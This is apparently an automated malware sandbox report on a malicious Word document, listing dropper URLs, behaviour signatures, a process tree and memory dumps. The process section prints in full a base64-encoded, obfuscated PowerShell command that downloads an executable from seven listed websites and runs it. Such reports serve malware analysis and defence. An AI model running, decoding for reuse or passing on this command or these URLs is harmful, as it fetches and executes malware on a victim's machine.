Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
03/05/2024, 09:14
General
- Target 102a8e7908d87075f9853802aea8983d_JaffaCakes118.doc
- Size 158KB
- Sample240503-k7njaadc97
- SHA256 061ff88d82151231c5c858ae6daec8558d578ae6a21ad02c34fa840246f02fb3
Malware Config
Extracted
-
ps1
-
exe.dropper
http://wynn838.com/wp-content/enE/
-
exe.dropper
https://sertres.com/ivmej/p/
-
exe.dropper
https://viaje-achina.com/wp-admin/aG/
-
exe.dropper
https://aszcasino.com/aszdemo/AGA/
-
exe.dropper
https://bintangremaja.com/wp-content/U/
-
exe.dropper
https://phongkhamthaiduongbienhoa.vn/wp-admin/Z/
-
exe.dropper
http://hk.olivellaline.com/gbi1e/2/
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\102a8e7908d87075f9853802aea8983d_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABGAHoAcABuAGIAMwBrAD0AKAAnAEYAJwArACgAJwA2AG8AJwArACcAcQBvAGUAJwApACsAJwAzACcAKQA7AC4AKAAnAG4AZQB3AC0AaQB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAcgBQAFIAbwBGAEkATABFAFwAVABwAHoANABTAFEAMQBcAFgAQwBJAGIAMwBnAHQAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBDAFQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABlAEMAdQBgAFIAaQBUAHkAUABSAGAATwB0AE8AYwBgAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAKAAnADIALAAnACsAJwAgAHQAbABzADEAJwApACsAKAAnADEALAAgACcAKwAnAHQAbAAnACkAKwAnAHMAJwApADsAJABUAG0AZwB6AHkAZgBfACAAPQAgACgAJwBNACcAKwAoACcAbwB0ADYAJwArACcAMABuAGUAcgAnACsAJwBhACcAKQApADsAJABJAGwAMQBfAHAAdQA0AD0AKAAoACcATQAwADIAJwArACcAdwAyACcAKQArACcAXwAnACsAJwBlACcAKQA7ACQAWAAxAGIAaABuADkAYgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAJwArACcAbwBuAFQAJwApACsAKAAnAHAAegAnACsAJwA0ACcAKQArACcAcwAnACsAKAAnAHEAJwArACcAMQA2AG8AJwArACcAbgBYAGMAaQBiACcAKQArACcAMwBnACcAKwAnAHQAJwArACcANgAnACsAJwBvAG4AJwApAC4AIgByAGUAUABgAEwAQQBDAGUAIgAoACgAJwA2AG8AJwArACcAbgAnACkALABbAFMAVAByAGkAbgBHAF0AWwBDAEgAYQBSAF0AOQAyACkAKQArACQAVABtAGcAegB5AGYAXwArACgAKAAnAC4AJwArACcAZQB4ACcAKQArACcAZQAnACkAOwAkAFAAeABiAGoAdgAzAGsAPQAoACgAJwBQACcAKwAnAG8AeAAnACkAKwAnAHoANwAnACsAJwA2AHUAJwApADsAJABNAG4AbQBtAGMAYwAwAD0AJgAoACcAbgBlACcAKwAnAHcALQBvAGIAagBlACcAKwAnAGMAJwArACcAdAAnACkAIABuAGUAVAAuAFcAZQBCAEMATABpAGUATgB0ADsAJABSAGoAYwBlADQAdgA0AD0AKAAnAGgAJwArACcAdAAnACsAJwB0AHAAJwArACcAOgAvACcAKwAoACcALwB3ACcAKwAnAHkAJwApACsAKAAnAG4AbgAnACsAJwA4ACcAKQArACgAJwAzADgALgAnACsAJwBjAG8AbQAvAHcAJwArACcAcAAtACcAKwAnAGMAbwAnACkAKwAoACcAbgB0ACcAKwAnAGUAJwArACcAbgB0AC8AJwApACsAKAAnAGUAbgAnACsAJwBFACcAKQArACcALwAnACsAKAAnACoAaAAnACsAJwB0ACcAKQArACgAJwB0AHAAcwAnACsAJwA6ACcAKQArACgAJwAvACcAKwAnAC8AcwBlAHIAdAByACcAKwAnAGUAcwAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAKAAnAG0ALwAnACsAJwBpAHYAJwArACcAbQBlAGoALwBwAC8AKgBoACcAKwAnAHQAdAAnACkAKwAoACcAcABzADoALwAvACcAKwAnAHYAJwArACcAaQAnACkAKwAoACcAYQBqAGUAJwArACcALQBhACcAKQArACcAYwBoACcAKwAoACcAaQAnACsAJwBuAGEAJwApACsAKAAnAC4AYwBvACcAKwAnAG0AJwApACsAKAAnAC8AdwBwAC0AYQBkAG0AaQBuAC8AYQBHAC8AKgAnACsAJwBoACcAKwAnAHQAdAAnACsAJwBwACcAKwAnAHMAJwArACcAOgAnACsAJwAvACcAKwAnAC8AYQBzAHoAJwApACsAJwBjAGEAJwArACcAcwAnACsAJwBpACcAKwAoACcAbgBvAC4AYwBvACcAKwAnAG0ALwAnACsAJwBhACcAKQArACcAcwB6ACcAKwAnAGQAJwArACgAJwBlACcAKwAnAG0AbwAvACcAKQArACgAJwBBAEcAQQAnACsAJwAvACoAaAB0AHQAcAAnACkAKwAoACcAcwA6ACcAKwAnAC8ALwBiACcAKQArACgAJwBpACcAKwAnAG4AdABhACcAKQArACcAbgBnACcAKwAoACcAcgBlAG0AYQBqACcAKwAnAGEALgBjACcAKQArACgAJwBvACcAKwAnAG0ALwB3ACcAKQArACgAJwBwAC0AYwBvAG4AJwArACcAdABlAG4AJwArACcAdAAnACkAKwAnAC8AJwArACgAJwBVAC8AJwArACcAKgBoACcAKQArACgAJwB0AHQAcABzADoAJwArACcALwAvACcAKQArACgAJwBwAGgAJwArACcAbwAnACkAKwAoACcAbgBnACcAKwAnAGsAJwApACsAJwBoACcAKwAoACcAYQBtACcAKwAnAHQAJwApACsAJwBoACcAKwAoACcAYQAnACsAJwBpAGQAdQBvACcAKwAnAG4AJwArACcAZwBiAGkAJwArACcAZQAnACsAJwBuACcAKwAnAGgAbwBhAC4AdgBuAC8AdwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAvACcAKwAnAFoALwAqAGgAJwApACsAKAAnAHQAdABwADoALwAvACcAKwAnAGgAawAuAG8AJwArACcAbAAnACsAJwBpACcAKQArACgAJwB2ACcAKwAnAGUAJwArACcAbABsAGEAbABpAG4AZQAuAGMAbwBtACcAKQArACgAJwAvACcAKwAnAGcAYgAnACkAKwAnAGkAJwArACcAMQAnACsAKAAnAGUALwAnACsAJwAyAC8AJwApACkALgAiAFMAcABgAGwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASgAwAHEAXwBiAGgAcQA9ACgAJwBRAGIAJwArACcAeAA1ACcAKwAoACcAZAAnACsAJwA2AHkAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABBAHEAZwBsAGoAeABmACAAaQBuACAAJABSAGoAYwBlADQAdgA0ACkAewB0AHIAeQB7ACQATQBuAG0AbQBjAGMAMAAuACIAZABPAHcAbgBgAEwATwBgAEEARABGAGkAYABMAGUAIgAoACQAQQBxAGcAbABqAHgAZgAsACAAJABYADEAYgBoAG4AOQBiACkAOwAkAFMAYQAzAHMAcQAyAHMAPQAoACgAJwBBAGwAJwArACcAcAAnACkAKwAoACcAYgA5ACcAKwAnAGQAJwApACsAJwBxACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABYADEAYgBoAG4AOQBiACkALgAiAEwAYABlAG4AYABHAFQASAAiACAALQBnAGUAIAAzADIANwA0ADIAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUALQBJAHQAZQAnACsAJwBtACcAKQAoACQAWAAxAGIAaABuADkAYgApADsAJABWAGoANAB0AGUAOABuAD0AKAAnAEUAJwArACgAJwB3ACcAKwAnAHQAZgBxACcAKQArACcAbAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQwAwADcAYwBjAHMAdwA9ACgAJwBZADAAJwArACcAMQAnACsAKAAnADQAbwAnACsAJwA4AHUAJwApACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFoAcABrAHcANwBhAHYAPQAoACcASwAnACsAKAAnAGsAJwArACcAagBmADAAbgB2ACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
gb.xsl
__PSScriptPolicyTest_vb0ykugd.dbo.ps1
Mot60nera.exe
memory/3560-68-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/3560-583-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/3560-569-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/3560-78-0x00000225A57D0000-0x00000225A57F2000-memory.dmp
memory/5004-11-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-7-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-4-0x00007FFD4156D000-0x00007FFD4156E000-memory.dmp
memory/5004-10-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-13-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-14-0x00007FFCFF4A0000-0x00007FFCFF4B0000-memory.dmp
memory/5004-12-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-9-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-17-0x00007FFCFF4A0000-0x00007FFCFF4B0000-memory.dmp
memory/5004-16-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-15-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-26-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-30-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-57-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-67-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-8-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-0-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-1-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-87-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-88-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-2-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-557-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-567-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-568-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-3-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-6-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp
memory/5004-5-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-604-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-605-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-607-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-606-0x00007FFD01550000-0x00007FFD01560000-memory.dmp
memory/5004-608-0x00007FFD414D0000-0x00007FFD416C5000-memory.dmp